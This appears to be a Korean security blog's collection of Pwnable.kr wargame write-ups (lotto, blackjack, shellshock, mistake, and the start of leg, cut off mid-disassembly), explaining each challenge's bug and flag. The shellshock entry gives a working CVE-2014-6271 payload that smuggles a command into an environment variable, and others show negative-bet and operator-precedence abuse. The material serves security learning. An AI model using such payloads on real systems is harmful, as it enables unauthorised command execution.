    • 키보드로 입력할 수 있는 값의 범위에 있는 문자는 ! “ # $ % & ‘ ( ) * + , -
    • 이 중에 하나의 문자를 6번 반복하여 lotto를 몇 번 수행하면 우연히 맞는 글자가 있어서 lotto에 당첨되게 됨

반복 과정은 생략함(10번 정도 반복한 것 같음)


flag

🍒 sorry mom... I FORGOT to check duplicate numbers... :(

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15

[문제]


[풀이]

소스코드 분석 - blackjack.c

  • 너무 길어서 토클로 전환
더보기
// Programmer: Vladislav Shulman
// Final Project
// Blackjack

// Feel free to use any and all parts of this program and claim it as your own work

//FINAL DRAFT

#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>                //Used for srand((unsigned) time(NULL)) command
#include <process.h>             //Used for system("cls") command

#define spade 06                 //Used to print spade symbol
#define club 05                  //Used to print club symbol
#define diamond 04               //Used to print diamond symbol
#define heart 03                 //Used to print heart symbol
#define RESULTS "Blackjack.txt"  //File name is Blackjack

//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;

//Function Prototypes
int clubcard();      //Displays Club Card Image
int diamondcard();   //Displays Diamond Card Image
int heartcard();     //Displays Heart Card Image
int spadecard();     //Displays Spade Card Image
int randcard();      //Generates random card
int betting();       //Asks user amount to bet
void asktitle();     //Asks user to continue
void rules();        //Prints "Rules of Vlad's Blackjack" menu
void play();         //Plays game
void dealer();       //Function to play for dealer AI
void stay();         //Function for when user selects 'Stay'
void cash_test();    //Test for if user has cash remaining in purse
void askover();      //Asks if user wants to continue playing
void fileresults();  //Prints results into Blackjack.txt file in program directory

//Main Function
int main(void)
{
    int choice1;
    printf("\n");
    printf("\n");
    printf("\n");
    printf("\n              222                111                            ");
    printf("\n            222 222            11111                              ");
    printf("\n           222   222          11 111                            "); 
    printf("\n                222              111                               "); 
    printf("\n               222               111                           ");   
    printf("\n");
    printf("\n%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);  
    printf("\n%c    %c    %c%c           %c  %c       %c     %c   %c   %c              ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);            
    printf("\n%c    %c    %c%c          %c    %c     %c          %c  %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                        
    printf("\n%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);      
    printf("\n%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);                       
    printf("\n%c     %c   %c%c         %c      %c    %c          %c   %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                                         
    printf("\n%c     %c   %c%c        %c        %c    %c     %c   %c    %c             ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);                                                            
    printf("\n%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);                                                                                     
    printf("\n");     
    printf("\n                        21                                   ");
    
    printf("\n     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                     
    printf("\n        %c%c        %c  %c       %c     %c   %c   %c              ", diamond, diamond, heart, heart, club, club, spade, spade);                                      
    printf("\n        %c%c       %c    %c     %c          %c  %c               ", diamond, diamond, heart, heart, club, spade, spade);                                           
    printf("\n        %c%c       %c %c%c %c     %c          %c %c              ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);                                     
    printf("\n        %c%c      %c %c%c%c%c %c    %c          %c%c %c             ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);                                                
    printf("\n        %c%c      %c      %c    %c          %c   %c               ", diamond, diamond, heart, heart, club, spade, spade);                                                                               
    printf("\n     %c  %c%c     %c        %c    %c     %c   %c    %c             ", diamond, diamond, diamond, heart, heart, club, spade, spade);                                                                                                               
    printf("\n      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                                                                                                                                        
    printf("\n");  
    printf("\n         222                     111                         ");
    printf("\n        222                      111                         ");
    printf("\n       222                       111                         ");
    printf("\n      222222222222222      111111111111111                       ");
    printf("\n      2222222222222222    11111111111111111                         ");
    printf("\n");
    printf("\n");
    
    asktitle();
    
    printf("\n");
    printf("\n");
    system("pause");
    return(0);
} //end program

void asktitle() // Function for asking player if they want to continue
{
	char choice1;
    int choice2;
    
	 printf("\n                 Are You Ready?");
     printf("\n                ----------------");
     printf("\n                      (Y/N)\n                        ");
     scanf("\n%c",&choice1);

	while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
	{                                                                           
		printf("\n");
		printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
		scanf("%c",&choice1);
	}


	if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
	{ 
            system("cls");
            printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
		    printf("\nEnter 2 to See a Complete Listing of Rules.");
		    printf("\nEnter 3 to Exit Game. (Not Recommended)");
		    printf("\nChoice: ");
		    scanf("%d", &choice2); // Prompts user for choice
		    if((choice2<1) || (choice2>3)) // If invalid choice entered
		    {
                printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
                scanf("%d", &choice2);
            }
            switch(choice2) // Switch case for different choices
            {   
                case 1: // Case to begin game
                   system("cls");
                   
                   play();
                                      
                   break;
                   
                case 2: // Case to see rules
                   system("cls");
                   rules();
                   break;
                   
                case 3: // Case to exit game
                   printf("\nYour day could have been perfect.");
                   printf("\nHave an almost perfect day!\n\n");
                   system("pause");
                   exit(0);
                   break;
                   
                default:
                   printf("\nInvalid Input");
            } // End switch case
	} // End if loop
   
		    

	else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
	{
		printf("\nYour day could have been perfect.");
        printf("\nHave an almost perfect day!\n\n");
        system("pause");
        exit(0);
	}
	
	return;
} // End function

void rules() //Prints "Rules of Vlad's Blackjack" list
{
     char choice1;
     int choice2;
     
     printf("\n           RULES of VLAD's BLACKJACK");
     printf("\n          ---------------------------");
     printf("\nI.");
     printf("\n     Thou shalt not question the odds of this game.");
     printf("\n      %c This program generates cards at random.", spade);
     printf("\n      %c If you keep losing, you are very unlucky!\n", diamond);
     
     printf("\nII.");
     printf("\n     Each card has a value.");
     printf("\n      %c Number cards 1 to 10 hold a value of their number.", spade);
     printf("\n      %c J, Q, and K cards hold a value of 10.", diamond);
     printf("\n      %c Ace cards hold a value of 11", club);
     printf("\n     The goal of this game is to reach a card value total of 21.\n");
     
     printf("\nIII.");
     printf("\n     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
     printf("\n      %c Staying will keep you safe, hitting will add a card.", spade);
     printf("\n     Because you are competing against the dealer, you must beat his hand.");
     printf("\n     BUT BEWARE!.");
     printf("\n      %c If your total goes over 21, you will LOSE!.", diamond);
     printf("\n     But the world is not over, because you can always play again.\n");
     printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
     printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
     printf("\n                  (Y/N)\n                    ");
     scanf("\n%c",&choice1);
     
     while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
	{                                                                           
		printf("\n");
		printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
		scanf("%c",&choice1);
	}


	if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
	{ 
            system("cls");
            asktitle();
	} // End if loop
   
		    

	else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes
	{
		system("cls");
        printf("\n                 I told you so.\n");
        asktitle();
    }
	
	return;
} // End function

int clubcard() //Displays Club Card Image
{
    
    
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", club);
    printf("-------\n");
    }
    
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  J  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    }
    
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  A  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {

             k=1;
         }
    }
    
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  Q  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  K  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;           
}// End function

int diamondcard() //Displays Diamond Card Image
{
    
    
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  J  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  A  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {
             k=1;
         }
    }
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  Q  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  K  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
}// End function

int heartcard() //Displays Heart Card Image
{
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart); 
    printf("|  %d  |\n", k);
    printf("|    %c|\n", heart);
    printf("-------\n");
    }
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  J  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    }
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  A  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {
             k=1;
         }
    }
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  Q  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  K  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int spadecard() //Displays Spade Card Image
{
    
    
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", spade);
    printf("-------\n");
    }
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  J  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    }
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  A  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {
             k=1;
         }
    }
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  Q  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  K  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int randcard() //Generates random card
{
     
               
     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;
     
     if(random_card==1)
     {   
         clubcard();
         l=k;
     }
     
     if(random_card==2)
     {
         diamondcard();
         l=k;
     }
     
     if(random_card==3)
     {
         heartcard();
         l=k;
     }
         
     if(random_card==4)
     {
         spadecard();
         l=k;
     }    
     return l;
} // End Function   

void play() //Plays game
{
     
     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;
     
     cash = cash;
     cash_test();
     printf("\nCash: $%d\n",cash); //Prints amount of cash user has
     randcard(); //Generates random card
     player_total = p + l; //Computes player total
     p = player_total;
     printf("\nYour Total is %d\n", p); //Prints player total
     dealer(); //Computes and prints dealer total
     betting(); //Prompts user to enter bet amount
       
     while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf("\nUnbelievable! You Win!\n");
             won = won+1;
             cash = cash+bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p>21) //If player total is over 21, loss
         {
             printf("\nWoah Buddy, You Went WAY over.\n");
             loss = loss+1;
             cash = cash - bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p<=21) //If player total is less than 21, ask to hit or stay
         {         
             printf("\n\nWould You Like to Hit or Stay?");
             
             scanf("%c", &choice3);
             while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
	         {                                                                           
                 printf("\n");
		         printf("Please Enter H to Hit or S to Stay.\n");
		         scanf("%c",&choice3);
	         }


	         if((choice3=='H') || (choice3=='h')) // If Hit, continues
	         { 
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf("\nYour Total is %d\n", p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf("\nDealer Has the Better Hand. You Lose.\n");
                      loss = loss+1;
                      cash = cash - bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  } 
     
                  if(dealer_total>21) //If dealer total is over 21, win
                  {                      
                      printf("\nDealer Has Went Over!. You Win!\n");
                      won = won+1;
                      cash = cash+bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }
             }
             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop 
     } // End While Loop
} // End Function

void dealer() //Function to play for dealer AI
{
     int z;
     
     if(dealer_total<17)
     {
      srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
      z=rand()%13+1;
      if(z<=10) //If random number generated is 10 or less, keep that value
      {
         d=z;
         
      }
     
      if(z>11) //If random number generated is more than 11, change value to 10
      {
         d=10;
      }
     
      if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
      {
         if(dealer_total<=10)
         {
             d=11;
         }
         
         else
         {
             d=1;
         }
      }
     dealer_total = dealer_total + d;
     }
          
     printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total
     
} // End Function 

void stay() //Function for when user selects 'Stay'
{
     dealer(); //If stay selected, dealer continues going
     if(dealer_total>=17)
     {
      if(player_total>=dealer_total) //If player's total is more than dealer's total, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(player_total<dealer_total) //If player's total is less than dealer's total, loss
      {
         printf("\nDealer Has the Better Hand. You Lose.\n");
         loss = loss+1;
         cash = cash - bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(dealer_total>21) //If dealer's total is more than 21, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
     }
     else
     {
         stay();
     }
     
} // End Function

void cash_test() //Test for if user has cash remaining in purse
{
     if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
     {
		printf("You Are Bankrupt. Game Over");
		cash = 500;
        askover();
     }
} // End Function

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
		printf("\nYou cannot bet more money than you have.");
		printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

void askover() // Function for asking player if they want to play again
{
	char choice1;
        
	 printf("\nWould You Like To Play Again?");
     printf("\nPlease Enter Y for Yes or N for No\n");
     scanf("\n%c",&choice1);

	while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
	{                                                                           
		printf("\n");
		printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
		scanf("%c",&choice1);
	}


	if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
	{ 
            system("cls");
            play();
	}
 
  	else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
	{
        fileresults();
        printf("\nBYE!!!!\n\n");
        system("pause");
        exit(0);
	}
	return;
} // End function

void fileresults() //Prints results into Blackjack.txt file in program directory
{
    FILE *fpresults; //File pointer is fpresults
    fpresults = fopen(RESULTS, "w"); //Creates file and writes into it
    if(fpresults == NULL) // what to do if file missing from directory
    {
               printf("\nError: File Missing\n");
               system("pause");
               exit(1);
    }
    else
    {     
     fprintf(fpresults,"\n\t RESULTS");
     fprintf(fpresults,"\n\t---------\n");
     fprintf(fpresults,"\nYou Have Won %d Times\n", won);
     fprintf(fpresults,"\nYou Have Lost %d Times\n", loss);
     fprintf(fpresults,"\nKeep Playing and Set an All-Time Record!");
    } 
     fclose(fpresults);
     return;
} // End Function
  • 중요 부분만 해석!
int betting() //Asks user amount to bet
{
 printf("\\n\\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
		printf("\\nYou cannot bet more money than you have.");
		printf("\\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function
  • 사실 소스코드부터 읽고 시작한 건 아니고 보통 입력 값에 대해서 integer issue가 있는 경우가 많아 nc 연결해서 -값 넣어보고 알았음
  • betting 함수에서 betting할 금액을 사용자로부터 입력 받음
    • 금액은 마이너스가 되면 안됨
    • 그러나 이에 대한 예외처리가 없음
    • 단순히 입력한 betting 값에 대해 그대로 return 해주기 때문에 마이너스 값을 입력해도 됨
  • 마이너스 값을 왜 입력해도 될까? 라는 의문이 들 수 있음
    • 이는 int 형의 범위와 연관됨
    • 데이터 형식 범위
    • int형은 –2,147,483,648 ~ 2,147,483,647의 범위를 가짐
    • unsigned int의 경우 0 ~ 4,294,967,295의 범위를 가짐
    • 해당 범위를 넘어서면 가장 위/아래의 값으로 넘어감
    • 즉, 2,147,483,648 이상을 입력하면 –2,147,483,648이 되는 것이고, 반대로 –2,147,483,649를 2,147,483,648이 됨
if(p>21)*{*
*//If player total is over 21, loss*
	 printf("\\nWoah Buddy, You Went WAY over.\\n");
	 loss = loss+1;
	 cash = cash - bet;
	 printf("\\nYou have %d Wins and %d Losses. Awesome!\\n", won, loss);
	 dealer_total=0;
	 askover();
}
  • 그리고 마이너스에 대한 검증이 없다보니 마이너스로 큰 값을 입력하면 오히려 +가 되어 큰 값으로 환산할 수 있음

 

문제 해결

💡 백만을 실제 게임으로 얻기는 어려움 마이너스 값을 입력해 betting 소유액을 최대치로 바꾸자


flag

🍒 YaY_I_AM_A_MILLIONARE_LOL

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15
[Pwnable.kr] leg  (2) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - shellshock.c

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}
  • 소스코드는 굉장히 간단함
    • 권한을 일시적으로 상승시켜서 /home/shellshock/bash를 실행함
    shellshock에 대해
  • shellshock 취약점 공격 원리는 export로 정의하는 환경 변수 속에 명령을 집어넣는 것!
  • 뭔가.. 옛날에 적었던 풀이가 더 잘적은 것 같다..ㅎ 풀이 적다가 지우고 그냥 첨부함!(shellshock)

문제 해결

💡 export b='() { :;};cat flag’

flag

🍒 only if I knew CVE-2014-6271 ten years ago..!!

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15
[Pwnable.kr] leg  (2) 2022.10.15
[Pwnable.kr] input  (2) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - mistake.c

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i<len; i++){
		s[i] ^= XORKEY;
	}
}

int main(int argc, char* argv[]){
	
	int fd;
	if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
		printf("can't open password %d\\n", fd);
		return 0;
	}

	printf("do not bruteforce...\\n");
	sleep(time(0)%20);

	char pw_buf[PW_LEN+1];
	int len;
	if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ 
		printf("read error\\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\\n");
		system("/bin/cat flag\\n");
	}
	else{
		printf("Wrong Password\\n");
	}

	close(fd);
	return 0;
}
  • 문제 힌트를 기반으로 연산자들이 사용된 코드 위주로 분석해봄
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
  • 가장 먼저 password 파일을 읽어오는데, 작성자는 fd에 open에 대한 값을 할당한 후 비교 연산자가 수행되는 것을 의도했을 것임
  • open 함수
  • 연산자 우선순위
  • 연산자 우선순위에 따라 다음과 같이 진행됨
  • 사전에 정의되어 있는 password 파일을 read only로 읽어오는데 파일을 정상적으로 읽어오면 fd 값으로 양수가 반환됨
    • 양수 < 0 → false 이므로 0이 fd에 저장됨
    • 즉, fd는 0으로 표준 입력을 할 수 있음
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ 
  • 작성자는 len에 read에 대한 값을 할당한 후 비교 연산자가 수행되는 것을 의도했을 것임
  • read 함수
  • 앞선 코드에 따라 read 함수의 fd에는 0(표준 입력)이 들어가고 입력 값은 pw_buf에 PW_LEN(10)만큼 저장될 것임
    • read 함수가 정상적으로 작동되면 수신한 바이트 수를 반환하므로 비교 연산자와의 연산은 true가 됨
    • 본래는 fd에 1이 들어가면서 password 파일을 읽을 수만 있도록 하는 것이 의도였겠으나, fd가 0이 되면서 password에 대한 입력 값을 사용자가 설정해줄 수 있게됨
  • 이후에는 사용자에게 pw_buf2에 password 값을 입력 받아 1과 xor 연산을 수행한 후에 해당 값이 pw_buf와 같은지 비교하는 과정을 통해 일치하면 flag를 출력함

 

문제 해결

💡 pw_buf 값을 사용자가 줄 수 있음→ 사용자가 password를 위한 조건을 임의로 설정해줄 수 있음! 해당 값에 맞춰 1과 xor 연산 했을 때 나오는 값을 password로 입력해주면 될 것
  • 단, len은 10으로 맞춰줘야 함
    • 단순히 1111111111을 조건으로 설정해준다면 1과 xor 연산하여 나오는 0000000000을 입력해주면 됨
    • 1111111111 전체에 대한 xor 연산(1111111110)으로 생각하면 안됨
    • 반복문에서 1byte 단위로 xor 연산을 수행하기 때문에 각각에 대해 xor한 값을 넣어줘야 함
  •  


flag

🍒 Mommy, the operator priority always confuses me :(

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15
[Pwnable.kr] leg  (2) 2022.10.15
[Pwnable.kr] input  (2) 2022.10.15
[Pwnable.kr] random  (0) 2022.10.14

[문제]

 


[풀이]

소스코드 분석 - leg.c

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\\n"); //pc 값을 r3에 저장
}
int key2(){
	asm(
	"push	{r6}\\n" 
	"add	r6, pc, $1\\n" //pc 값에 1더해서 r6에 저장
	"bx	r6\\n" //r6으로 분기
	".code   16\\n" //r6 == 16?
	"mov	r3, pc\\n" //pc 값을 r3에 저장
	"add	r3, $0x4\\n" //r3 + 0x4한 값을 r3에 저장
	"push	{r3}\\n" //r3 push
	"pop	{pc}\\n" //pc pop
	".code	32\\n" //r3 == 32?
	"pop	{r6}\\n" //r6 pop
	);
}
int key3(){
	asm("mov r3, lr\\n"); //lr 값을 r3에 저장(되돌아갈 주소 값)
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\\n");
	}
	return 0;
}
  • key1-3은 ARM 어셈블리로 작성된 것으로 보임
  • main 함수에서 key1-3 함수 호출 후 반환된 값을 합한 값을 사용자가 입력해주면(10진수로) flag를 출력함

 

소스코드 분석 - .asm(main)

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
